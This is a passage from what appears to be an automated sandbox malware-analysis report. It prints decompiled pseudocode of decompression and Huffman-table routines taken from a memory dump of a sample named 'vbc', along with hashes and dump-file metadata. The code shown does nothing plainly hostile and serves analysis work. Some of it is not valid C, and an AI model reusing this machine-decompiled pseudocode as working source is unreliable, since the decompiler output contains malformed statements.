															__ecx = __ecx - __eax;
															__edi = __ecx - __eax - 1;
														}
														__edx = __esi[0x26e8];
														__eflags = __eax - __edx;
														 *(__ebp - 8) = __edx;
														if(__eax == __edx) {
															__edx =  &(__esi[0x6e8]);
															__eflags = __ecx - __edx;
															if(__ecx != __edx) {
																__eax = __edx;
																__eflags = __eax - __ecx;
																 *(__ebp - 0x30) = __eax;
																if(__eax >= __ecx) {
																	__edi =  *(__ebp - 8);
																	__edi =  *(__ebp - 8) - __eax;
																	__eflags = __edi;
																} else {
																	__ecx = __ecx - __eax;
																	__edi = __ecx;
																}
															}
														}
														__eflags = __edi;
														if(__edi == 0) {
															goto L183;
														} else {
															goto L152;
														}
													}
													L138:
													__ecx = __esi[0x26e9];
													__edx =  &(__esi[0x6e8]);
													__eflags = __ecx - __edx;
													if(__ecx == __edx) {
														goto L143;
													}
													L139:
													__eax = __edx;
													__eflags = __eax - __ecx;
													if(__eax >= __ecx) {
														__edi = __edi - __eax;
														__eflags = __edi;
													} else {
														__ecx = __ecx - __eax;
														__edi = __ecx;
													}
													__eflags = __edi;
													if(__edi == 0) {
														goto L143;
													}
													L152:
													__ecx =  *(__ebp - 0x20);
													 *__eax =  *__ecx;
													__eax = __eax + 1;
													__ecx = __ecx + 1;
													__edi = __edi - 1;
													__eflags = __ecx - __esi[0x26e8];
													 *(__ebp - 0x30) = __eax;
													 *(__ebp - 0x20) = __ecx;
													 *(__ebp - 0x2c) = __edi;
													if(__ecx == __esi[0x26e8]) {
														__ecx =  &(__esi[0x6e8]);
														 *(__ebp - 0x20) =  &(__esi[0x6e8]);
													}
													_t357 =  &(__esi[1]);
													 *_t357 = __esi[1] - 1;
													__eflags =  *_t357;
												} while ( *_t357 != 0);
											}
											goto L23;
										case 6:
											L156:
											__eax =  *(__ebp - 0x2c);
											__edi =  *(__ebp - 0x30);
											__eflags = __eax;
											if(__eax != 0) {
												L172:
												__cl = __esi[2];
												 *__edi = __cl;
												__edi = __edi + 1;
												__eax = __eax - 1;
												 *(__ebp - 0x30) = __edi;
												 *(__ebp - 0x2c) = __eax;
												goto L23;
											}
											L157:
											__ecx = __esi[0x26e8];
											__eflags = __edi - __ecx;
											if(__edi != __ecx) {
												L163:
												__esi[0x26ea] = __edi;
												__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
												__edi = __esi[0x26ea];
												__ecx = __esi[0x26e9];
												__eflags = __edi - __ecx;
												 *(__ebp - 0x30) = __edi;
												if(__edi >= __ecx) {
													__eax = __esi[0x26e8];
													__eax = __esi[0x26e8] - __edi;
													__eflags = __eax;
												} else {
													__ecx = __ecx - __edi;
													__eax = __ecx - __edi - 1;
												}
												__edx = __esi[0x26e8];
												__eflags = __edi - __edx;
												 *(__ebp - 8) = __edx;
												if(__edi == __edx) {
													__edx =  &(__esi[0x6e8]);
													__eflags = __ecx - __edx;
													if(__ecx != __edx) {
														__edi = __edx;
														__eflags = __edi - __ecx;
														 *(__ebp - 0x30) = __edi;
														if(__edi >= __ecx) {
															__eax =  *(__ebp - 8);
															__eax =  *(__ebp - 8) - __edi;
															__eflags = __eax;
														} else {
															__ecx = __ecx - __edi;
															__eax = __ecx;
														}
													}
												}
												__eflags = __eax;
												if(__eax == 0) {
													goto L183;
												} else {
													goto L172;
												}
											}
											L158:
											__eax = __esi[0x26e9];
											__edx =  &(__esi[0x6e8]);
											__eflags = __eax - __edx;
											if(__eax == __edx) {
												goto L163;
											}
											L159:
											__edi = __edx;
											__eflags = __edi - __eax;
											if(__edi >= __eax) {
												__ecx = __ecx - __edi;
												__eflags = __ecx;
												__eax = __ecx;
											} else {
												__eax = __eax - __edi;
												__eax = __eax - 1;
											}
											__eflags = __eax;
											if(__eax != 0) {
												goto L172;
											} else {
												goto L163;
											}
										case 7:
											L173:
											__eflags = __ebx - 7;
											if(__ebx > 7) {
												__ebx = __ebx - 8;
												 *(__ebp - 0x34) =  *(__ebp - 0x34) + 1;
												_t380 = __ebp - 0x38;
												 *_t380 =  *(__ebp - 0x38) - 1;
												__eflags =  *_t380;
											}
											goto L175;
										case 8:
											L4:
											while(_t425 < 3) {
												if( *(_t448 - 0x34) == 0) {
													goto L182;
												} else {
													 *(_t448 - 0x34) =  *(_t448 - 0x34) - 1;
													 *(_t448 - 0x40) =  *(_t448 - 0x40) | ( *( *(_t448 - 0x38)) & 0x000000ff) << _t425;
													 *(_t448 - 0x38) =  &(( *(_t448 - 0x38))[1]);
													_t425 = _t425 + 8;
													continue;
												}
											}
											_t425 = _t425 - 3;
											 *(_t448 - 0x40) =  *(_t448 - 0x40) >> 3;
											_t406 =  *(_t448 - 0x40) & 0x00000007;
											asm("sbb ecx, ecx");
											_t408 = _t406 >> 1;
											_t446[0x145] = ( ~(_t406 & 0x00000001) & 0x00000007) + 8;
											if(_t408 == 0) {
												L24:
												 *_t446 = 9;
												_t436 = _t425 & 0x00000007;
												 *(_t448 - 0x40) =  *(_t448 - 0x40) >> _t436;
												_t425 = _t425 - _t436;
												goto L180;
											}
											L6:
											_t411 = _t408 - 1;
											if(_t411 == 0) {
												L13:
												__eflags =  *0x432e90;
												if( *0x432e90 != 0) {
													L22:
													_t412 =  *0x40a5e8; // 0x9
													_t446[4] = _t412;
													_t413 =  *0x40a5ec; // 0x5
													_t446[4] = _t413;
													_t414 =  *0x431d0c; // 0x0
													_t446[5] = _t414;
													_t415 =  *0x431d08; // 0x0
													_t446[6] = _t415;
													L23:
													 *_t446 =  *_t446 & 0x00000000;
													goto L180;
												} else {
													_t26 = _t448 - 8;
													 *_t26 =  *(_t448 - 8) & 0x00000000;
													__eflags =  *_t26;
													_t416 = 0x431d10;
													goto L15;
													L20:
													 *_t416 = _t438;
													_t416 = _t416 + 4;
													__eflags = _t416 - 0x432190;
													if(_t416 < 0x432190) {
														L15:
														__eflags = _t416 - 0x431f4c;
														_t438 = 8;
														if(_t416 > 0x431f4c) {
															__eflags = _t416 - 0x432110;
															if(_t416 >= 0x432110) {
																__eflags = _t416 - 0x432170;
																if(_t416 < 0x432170) {
																	_t438 = 7;
																}
															} else {
																_t438 = 9;
															}
														}
														goto L20;
													} else {
														E0040755C(0x431d10, 0x120, 0x101, 0x4084e8, 0x408528, 0x431d0c, 0x40a5e8, 0x432610, _t448 - 8);
														_push(0x1e);
														_pop(_t440);
														_push(5);
														_pop(_t419);
														memset(0x431d10, _t419, _t440 << 2);
														_t450 = _t450 + 0xc;
														_t442 = 0x431d10 + _t440;
														E0040755C(0x431d10, 0x1e, 0, 0x408568, 0x4085a4, 0x431d08, 0x40a5ec, 0x432610, _t448 - 8);
														 *0x432e90 =  *0x432e90 + 1;
														__eflags =  *0x432e90;
														goto L22;
													}
												}
											}
											L7:
											_t423 = _t411 - 1;
											if(_t423 == 0) {
												 *_t446 = 0xb;
												goto L180;
											}
											L8:
											if(_t423 != 1) {
												goto L180;
											}
											goto L9;
										case 9:
											while(1) {
												L27:
												__eflags = __ebx - 0x20;
												if(__ebx >= 0x20) {
													break;
												}
												L25:
												__eflags =  *(__ebp - 0x34);
												if( *(__ebp - 0x34) == 0) {
													goto L182;
												}
												L26:
												__eax =  *(__ebp - 0x38);
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
												__ecx = __ebx;
												 *( *(__ebp - 0x38)) & 0x000000ff = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
												__ebx = __ebx + 8;
												__eflags = __ebx;
											}
											L28:
											__eax =  *(__ebp - 0x40);
											__ebx = 0;
											__eax =  *(__ebp - 0x40) & 0x0000ffff;
											 *(__ebp - 0x40) = 0;
											__eflags = __eax;
											__esi[1] = __eax;
											if(__eax == 0) {
												goto L53;
											}
											L29:
											_push(0xa);
											_pop(__eax);
											goto L54;
										case 0xa:
											L30:
											__eflags =  *(__ebp - 0x34);
											if( *(__ebp - 0x34) == 0) {
												goto L182;
											}
											L31:
											__eax =  *(__ebp - 0x2c);
											__eflags = __eax;
											if(__eax != 0) {
												L48:
												__eflags = __eax -  *(__ebp - 0x34);
												if(__eax >=  *(__ebp - 0x34)) {
													__eax =  *(__ebp - 0x34);
												}
												__ecx = __esi[1];
												__eflags = __ecx - __eax;
												__edi = __ecx;
												if(__ecx >= __eax) {
													__edi = __eax;
												}
												__eax = E00405FE8( *(__ebp - 0x30),  *(__ebp - 0x38), __edi);
												 *(__ebp - 0x38) =  *(__ebp - 0x38) + __edi;
												 *(__ebp - 0x34) =  *(__ebp - 0x34) - __edi;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __edi;
												 *(__ebp - 0x2c) =  *(__ebp - 0x2c) - __edi;
												_t80 =  &(__esi[1]);
												 *_t80 = __esi[1] - __edi;
												__eflags =  *_t80;
												if( *_t80 == 0) {
													L53:
													__eax = __esi[0x145];
													L54:
													 *__esi = __eax;
												}
												goto L180;
											}
											L32:
											__ecx = __esi[0x26e8];
											__edx =  *(__ebp - 0x30);
											__eflags = __edx - __ecx;
											if(__edx != __ecx) {
												L38:
												__esi[0x26ea] = __edx;
												__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
												__edx = __esi[0x26ea];
												__ecx = __esi[0x26e9];
												__eflags = __edx - __ecx;
												 *(__ebp - 0x30) = __edx;
												if(__edx >= __ecx) {
													__eax = __esi[0x26e8];
													__eax = __esi[0x26e8] - __edx;
													__eflags = __eax;
												} else {
													__ecx = __ecx - __edx;
													__eax = __ecx - __edx - 1;
												}
												__edi = __esi[0x26e8];
												 *(__ebp - 0x2c) = __eax;
												__eflags = __edx - __edi;
												if(__edx == __edi) {
													__edx =  &(__esi[0x6e8]);
													__eflags = __edx - __ecx;
													if(__eflags != 0) {
														 *(__ebp - 0x30) = __edx;
														if(__eflags >= 0) {
															__edi = __edi - __edx;
															__eflags = __edi;
															__eax = __edi;
														} else {
															__ecx = __ecx - __edx;
															__eax = __ecx;
														}
														 *(__ebp - 0x2c) = __eax;
													}
												}
												__eflags = __eax;
												if(__eax == 0) {
													goto L183;
												} else {
													goto L48;
												}
											}
											L33:
											__eax = __esi[0x26e9];
											__edi =  &(__esi[0x6e8]);
											__eflags = __eax - __edi;
											if(__eax == __edi) {
												goto L38;
											}
											L34:
											__edx = __edi;
											__eflags = __edx - __eax;
											 *(__ebp - 0x30) = __edx;
											if(__edx >= __eax) {
												__ecx = __ecx - __edx;
												__eflags = __ecx;
												__eax = __ecx;
											} else {
												__eax = __eax - __edx;
												__eax = __eax - 1;
											}
											__eflags = __eax;
											 *(__ebp - 0x2c) = __eax;
											if(__eax != 0) {
												goto L48;
											} else {
												goto L38;
											}
										case 0xb:
											goto L56;
										case 0xc:
											L60:
											__esi[1] = __esi[1] >> 0xa;
											__eax = (__esi[1] >> 0xa) + 4;
											if(__esi[2] >= (__esi[1] >> 0xa) + 4) {
												goto L68;
											}
											goto L61;
										case 0xd:
											while(1) {
												L93:
												__eax = __esi[1];
												__ecx = __esi[2];
												__edx = __eax;
												__eax = __eax & 0x0000001f;
												__edx = __edx >> 5;
												__eax = __edx + __eax + 0x102;
												__eflags = __esi[2] - __eax;
												if(__esi[2] >= __eax) {
													break;
												}
												L73:
												__eax = __esi[0x143];
												while(1) {
													L76:
													__eflags = __ebx - __eax;
													if(__ebx >= __eax) {
														break;
													}
													L74:
													__eflags =  *(__ebp - 0x34);
													if( *(__ebp - 0x34) == 0) {
														goto L182;
													}
													L75:
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
													__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
													__ecx = __ebx;
													__edx = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
													 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
													 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
													__ebx = __ebx + 8;
													__eflags = __ebx;
												}
												L77:
												__eax =  *(0x40a5c4 + __eax * 2) & 0x0000ffff;
												__eax = __eax &  *(__ebp - 0x40);
												__ecx = __esi[0x144];
												__eax = __esi[0x144] + __eax * 4;
												__edx =  *(__eax + 1) & 0x000000ff;
												__eax =  *(__eax + 2) & 0x0000ffff;
												__eflags = __eax - 0x10;
												 *(__ebp - 0x14) = __eax;
												if(__eax >= 0x10) {
													L79:
													__eflags = __eax - 0x12;
													if(__eax != 0x12) {
														__eax = __eax + 0xfffffff2;
														 *(__ebp - 8) = 3;
													} else {
														_push(7);
														 *(__ebp - 8) = 0xb;
														_pop(__eax);
													}
													while(1) {
														L84:
														__ecx = __eax + __edx;
														__eflags = __ebx - __eax + __edx;
														if(__ebx >= __eax + __edx) {
															break;
														}
														L82:
														__eflags =  *(__ebp - 0x34);
														if( *(__ebp - 0x34) == 0) {
															goto L182;
														}
														L83:
														__ecx =  *(__ebp - 0x38);
														 *(__ebp - 0x34) =  *(__ebp - 0x34) - 1;
														__edi =  *( *(__ebp - 0x38)) & 0x000000ff;
														__ecx = __ebx;
														__edi = ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
														 *(__ebp - 0x40) =  *(__ebp - 0x40) | ( *( *(__ebp - 0x38)) & 0x000000ff) << __cl;
														 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
														__ebx = __ebx + 8;
														__eflags = __ebx;
													}
													L85:
													__ecx = __edx;
													__ebx = __ebx - __edx;
													 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
													 *(0x40a5c4 + __eax * 2) & 0x0000ffff =  *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40);
													__edx =  *(__ebp - 8);
													__ebx = __ebx - __eax;
													__edx =  *(__ebp - 8) + ( *(0x40a5c4 + __eax * 2) & 0x0000ffff &  *(__ebp - 0x40));
													__ecx = __eax;
													__eax = __esi[1];
													 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
													__ecx = __esi[2];
													__eax = __eax >> 5;
													__edi = __eax >> 0x00000005 & 0x0000001f;
													__eax = __eax & 0x0000001f;
													__eax = __edi + __eax + 0x102;
													__edi = __edx + __ecx;
													__eflags = __edx + __ecx - __eax;
													if(__edx + __ecx > __eax) {
														goto L9;
													}
													L86:
													__eflags =  *(__ebp - 0x14) - 0x10;
													if( *(__ebp - 0x14) != 0x10) {
														L89:
														__edi = 0;
														__eflags = 0;
														L90:
														__eax = __esi + 0xc + __ecx * 4;
														do {
															L91:
															 *__eax = __edi;
															__ecx = __ecx + 1;
															__eax = __eax + 4;
															__edx = __edx - 1;
															__eflags = __edx;
														} while (__edx != 0);
														__esi[2] = __ecx;
														continue;
													}
													L87:
													__eflags = __ecx - 1;
													if(__ecx < 1) {
														goto L9;
													}
													L88:
													__edi =  *(__esi + 8 + __ecx * 4);
													goto L90;
												}
												L78:
												__ecx = __edx;
												__ebx = __ebx - __edx;
												 *(__ebp - 0x40) =  *(__ebp - 0x40) >> __cl;
												__ecx = __esi[2];
												 *(__esi + 0xc + __esi[2] * 4) = __eax;
												__esi[2] = __esi[2] + 1;
											}
											L94:
											__eax = __esi[1];
											__esi[0x144] = __esi[0x144] & 0x00000000;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) & 0x00000000;
											__edi = __eax;
											__eax = __eax >> 5;
											__edi = __edi & 0x0000001f;
											__ecx = 0x101;
											__eax = __eax & 0x0000001f;
											__edi = __edi + 0x101;
											__eax = __eax + 1;
											__edx = __ebp - 0xc;
											 *(__ebp - 0x14) = __eax;
											 &(__esi[0x148]) = __ebp - 4;
											 *(__ebp - 4) = 9;
											__ebp - 0x18 =  &(__esi[3]);
											 *(__ebp - 0x10) = 6;
											__eax = E0040755C( &(__esi[3]), __edi, 0x101, 0x4084e8, 0x408528, __ebp - 0x18, __ebp - 4,  &(__esi[0x148]), __ebp - 0xc);
											__eflags =  *(__ebp - 4);
											if( *(__ebp - 4) == 0) {
												__eax = __eax | 0xffffffff;
												__eflags = __eax;
											}
											__eflags = __eax;
											if(__eax != 0) {
												goto L9;
											} else {
												L97:
												__ebp - 0xc =  &(__esi[0x148]);
												__ebp - 0x10 = __ebp - 0x1c;
												__eax = __esi + 0xc + __edi * 4;
												__eax = E0040755C(__esi + 0xc + __edi * 4,  *(__ebp - 0x14), 0, 0x408568, 0x4085a4, __ebp - 0x1c, __ebp - 0x10,  &(__esi[0x148]), __ebp - 0xc);
												__eflags = __eax;
												if(__eax != 0) {
													goto L9;
												}
												L98:
												__eax =  *(__ebp - 0x10);
												__eflags =  *(__ebp - 0x10);
												if( *(__ebp - 0x10) != 0) {
													L100:
													__cl =  *(__ebp - 4);
													 *__esi =  *__esi & 0x00000000;
													__eflags =  *__esi;
													__esi[4] = __al;
													__eax =  *(__ebp - 0x18);
													__esi[5] =  *(__ebp - 0x18);
													__eax =  *(__ebp - 0x1c);
													__esi[4] = __cl;
													__esi[6] =  *(__ebp - 0x1c);
													goto L101;
												}
												L99:
												__eflags = __edi - 0x101;
												if(__edi > 0x101) {
													goto L9;
												}
												goto L100;
											}
										case 0xe:
											goto L9;
										case 0xf:
											L175:
											__eax =  *(__ebp - 0x30);
											__esi[0x26ea] =  *(__ebp - 0x30);
											__eax = E004074F4( *((intOrPtr*)(__ebp + 8)));
											__ecx = __esi[0x26ea];
											__edx = __esi[0x26e9];
											__eflags = __ecx - __edx;
											 *(__ebp - 0x30) = __ecx;
											if(__ecx >= __edx) {
												__eax = __esi[0x26e8];
												__eax = __esi[0x26e8] - __ecx;
												__eflags = __eax;
											} else {
												__edx = __edx - __ecx;
												__eax = __edx - __ecx - 1;
											}
											__eflags = __ecx - __edx;
											 *(__ebp - 0x2c) = __eax;
											if(__ecx != __edx) {
												L183:
												__edi = 0;
												goto L10;
											} else {
												L179:
												__eax = __esi[0x145];
												__eflags = __eax - 8;
												 *__esi = __eax;
												if(__eax != 8) {
													L184:
													0 = 1;
													goto L10;
												}
												goto L180;
											}
									}
								}
								L181:
								goto L9;
							}
							L70:
							if( *__edi == __eax) {
								goto L72;
							}
							L71:
							__esi[2] = __esi[2] & __eax;
							 *__esi = 0xd;
							goto L93;
						}
					}
				}
				L182:
				_t443 = 0;
				_t446[0x147] =  *(_t448 - 0x40);
				_t446[0x146] = _t425;
				( *(_t448 + 8))[1] = 0;
				goto L11;
			}

0x00406d85
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0x00000000
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0x00000000
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0x00000000
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0x00000000
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0x00407132
0x00000000
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0x0040710e
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0x00000000
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0x00407181
0x00000000
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0x00000000
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0x00407169
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0x00000000
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0x00000000
0x00000000
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0x00000000
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0x004071ba
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0x004071d4
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0x0040720e
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0x00407211
0x00000000
0x00000000
0x00407217
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0x0040721a
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0x00000000
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0x004071f6
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0x00407200
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0x00000000
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0x00000000
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0x00407305
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0x00407330
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0x00000000
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Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction ID: 3db1d01f4341fbbb805040525b4c18df43ce82c239752998d09602440244d977
Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction Fuzzy Hash: FEE18A71A0070ADFCB24CF59D880BAABBF5FB44305F15852EE496A72D1D338AA91CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040755C Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040755C(signed char _a4, char _a5, short _a6, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int* _a24, signed int _a28, intOrPtr _a32, signed int* _a36) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				signed int* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v116;
				signed int _v176;
				signed int _v180;
				signed int _v240;
				signed int _t166;
				signed int _t168;
				intOrPtr _t175;
				signed int _t181;
				void* _t182;
				intOrPtr _t183;
				signed int* _t184;
				signed int _t186;
				signed int _t187;
				signed int* _t189;
				signed int _t190;
				intOrPtr* _t191;
				intOrPtr _t192;
				signed int _t193;
				signed int _t195;
				signed int _t200;
				signed int _t205;
				void* _t207;
				short _t208;
				signed char _t222;
				signed int _t224;
				signed int _t225;
				signed int* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				signed int _t236;
				signed int _t244;
				signed int _t246;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				void* _t263;
				void* _t264;
				signed int _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				signed int _t274;
				intOrPtr* _t275;
				unsigned int _t276;
				void* _t277;
				signed int _t278;
				intOrPtr* _t279;
				signed int _t281;
				intOrPtr _t282;
				intOrPtr _t283;
				signed int* _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t296;
				signed int* _t297;
				intOrPtr _t298;
				void* _t299;

				_t278 = _a8;
				_t187 = 0x10;
				memset( &_v116, 0, _t187 << 2);
				_t189 = _a4;
				_t233 = _t278;
				do {
					_t166 =  *_t189;
					_t189 =  &(_t189[1]);
					 *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) =  *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) + 1;
					_t233 = _t233 - 1;
				} while (_t233 != 0);
				if(_v116 != _t278) {
					_t279 = _a28;
					_t267 =  *_t279;
					_t190 = 1;
					_a28 = _t267;
					_t234 = 0xf;
					while(1) {
						_t168 = 0;
						if( *((intOrPtr*)(_t299 + _t190 * 4 - 0x70)) != 0) {
							break;
						}
						_t190 = _t190 + 1;
						if(_t190 <= _t234) {
							continue;
						}
						break;
					}
					_v8 = _t190;
					if(_t267 < _t190) {
						_a28 = _t190;
					}
					while( *((intOrPtr*)(_t299 + _t234 * 4 - 0x70)) == _t168) {
						_t234 = _t234 - 1;
						if(_t234 != 0) {
							continue;
						}
						break;
					}
					_v28 = _t234;
					if(_a28 > _t234) {
						_a28 = _t234;
					}
					 *_t279 = _a28;
					_t181 = 1 << _t190;
					while(_t190 < _t234) {
						_t182 = _t181 -  *((intOrPtr*)(_t299 + _t190 * 4 - 0x70));
						if(_t182 < 0) {
							L64:
							return _t168 | 0xffffffff;
						}
						_t190 = _t190 + 1;
						_t181 = _t182 + _t182;
					}
					_t281 = _t234 << 2;
					_t191 = _t299 + _t281 - 0x70;
					_t269 =  *_t191;
					_t183 = _t181 - _t269;
					_v52 = _t183;
					if(_t183 < 0) {
						goto L64;
					}
					_v176 = _t168;
					 *_t191 = _t269 + _t183;
					_t192 = 0;
					_t235 = _t234 - 1;
					if(_t235 == 0) {
						L21:
						_t184 = _a4;
						_t271 = 0;
						do {
							_t193 =  *_t184;
							_t184 =  &(_t184[1]);
							if(_t193 != _t168) {
								_t232 = _t299 + _t193 * 4 - 0xb0;
								_t236 =  *_t232;
								 *((intOrPtr*)(0x432190 + _t236 * 4)) = _t271;
								 *_t232 = _t236 + 1;
							}
							_t271 = _t271 + 1;
						} while (_t271 < _a8);
						_v16 = _v16 | 0xffffffff;
						_v40 = _v40 & 0x00000000;
						_a8 =  *((intOrPtr*)(_t299 + _t281 - 0xb0));
						_t195 = _v8;
						_t186 =  ~_a28;
						_v12 = _t168;
						_v180 = _t168;
						_v36 = 0x432190;
						_v240 = _t168;
						if(_t195 > _v28) {
							L62:
							_t168 = 0;
							if(_v52 == 0 || _v28 == 1) {
								return _t168;
							} else {
								goto L64;
							}
						}
						_v44 = _t195 - 1;
						_v32 = _t299 + _t195 * 4 - 0x70;
						do {
							_t282 =  *_v32;
							if(_t282 == 0) {
								goto L61;
							}
							while(1) {
								_t283 = _t282 - 1;
								_t200 = _a28 + _t186;
								_v48 = _t283;
								_v24 = _t200;
								if(_v8 <= _t200) {
									goto L45;
								}
								L31:
								_v20 = _t283 + 1;
								do {
									_v16 = _v16 + 1;
									_t296 = _v28 - _v24;
									if(_t296 > _a28) {
										_t296 = _a28;
									}
									_t222 = _v8 - _v24;
									_t254 = 1 << _t222;
									if(1 <= _v20) {
										L40:
										_t256 =  *_a36;
										_t168 = 1 << _t222;
										_v40 = 1;
										_t274 = _t256 + 1;
										if(_t274 > 0x5a0) {
											goto L64;
										}
									} else {
										_t275 = _v32;
										_t263 = _t254 + (_t168 | 0xffffffff) - _v48;
										if(_t222 >= _t296) {
											goto L40;
										}
										while(1) {
											_t222 = _t222 + 1;
											if(_t222 >= _t296) {
												goto L40;
											}
											_t275 = _t275 + 4;
											_t264 = _t263 + _t263;
											_t175 =  *_t275;
											if(_t264 <= _t175) {
												goto L40;
											}
											_t263 = _t264 - _t175;
										}
										goto L40;
									}
									_t168 = _a32 + _t256 * 4;
									_t297 = _t299 + _v16 * 4 - 0xec;
									 *_a36 = _t274;
									_t259 = _v16;
									 *_t297 = _t168;
									if(_t259 == 0) {
										 *_a24 = _t168;
									} else {
										_t276 = _v12;
										_t298 =  *((intOrPtr*)(_t297 - 4));
										 *(_t299 + _t259 * 4 - 0xb0) = _t276;
										_a5 = _a28;
										_a4 = _t222;
										_t262 = _t276 >> _t186;
										_a6 = (_t168 - _t298 >> 2) - _t262;
										 *(_t298 + _t262 * 4) = _a4;
									}
									_t224 = _v24;
									_t186 = _t224;
									_t225 = _t224 + _a28;
									_v24 = _t225;
								} while (_v8 > _t225);
								L45:
								_t284 = _v36;
								_a5 = _v8 - _t186;
								if(_t284 < 0x432190 + _a8 * 4) {
									_t205 =  *_t284;
									if(_t205 >= _a12) {
										_t207 = _t205 - _a12 + _t205 - _a12;
										_v36 =  &(_v36[1]);
										_a4 =  *((intOrPtr*)(_t207 + _a20)) + 0x50;
										_t208 =  *((intOrPtr*)(_t207 + _a16));
									} else {
										_a4 = (_t205 & 0xffffff00 | _t205 - 0x00000100 > 0x00000000) - 0x00000001 & 0x00000060;
										_t208 =  *_t284;
										_v36 =  &(_t284[1]);
									}
									_a6 = _t208;
								} else {
									_a4 = 0xc0;
								}
								_t286 = 1 << _v8 - _t186;
								_t244 = _v12 >> _t186;
								while(_t244 < _v40) {
									 *(_t168 + _t244 * 4) = _a4;
									_t244 = _t244 + _t286;
								}
								_t287 = _v12;
								_t246 = 1 << _v44;
								while((_t287 & _t246) != 0) {
									_t287 = _t287 ^ _t246;
									_t246 = _t246 >> 1;
								}
								_t288 = _t287 ^ _t246;
								_v20 = 1;
								_v12 = _t288;
								_t251 = _v16;
								if(((1 << _t186) - 0x00000001 & _t288) ==  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0))) {
									L60:
									if(_v48 != 0) {
										_t282 = _v48;
										_t283 = _t282 - 1;
										_t200 = _a28 + _t186;
										_v48 = _t283;
										_v24 = _t200;
										if(_v8 <= _t200) {
											goto L45;
										}
										goto L31;
									}
									break;
								} else {
									goto L58;
								}
								do {
									L58:
									_t186 = _t186 - _a28;
									_t251 = _t251 - 1;
								} while (((1 << _t186) - 0x00000001 & _v12) !=  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0)));
								_v16 = _t251;
								goto L60;
							}
							L61:
							_v8 = _v8 + 1;
							_v32 = _v32 + 4;
							_v44 = _v44 + 1;
						} while (_v8 <= _v28);
						goto L62;
					}
					_t277 = 0;
					do {
						_t192 = _t192 +  *((intOrPtr*)(_t299 + _t277 - 0x6c));
						_t277 = _t277 + 4;
						_t235 = _t235 - 1;
						 *((intOrPtr*)(_t299 + _t277 - 0xac)) = _t192;
					} while (_t235 != 0);
					goto L21;
				}
				 *_a24 =  *_a24 & 0x00000000;
				 *_a28 =  *_a28 & 0x00000000;
				return 0;
			}

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Memory Dump Source

Source File: 00000004.00000002.680171348.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.680167485.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680176661.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680203041.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680205712.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680210866.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.680213751.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
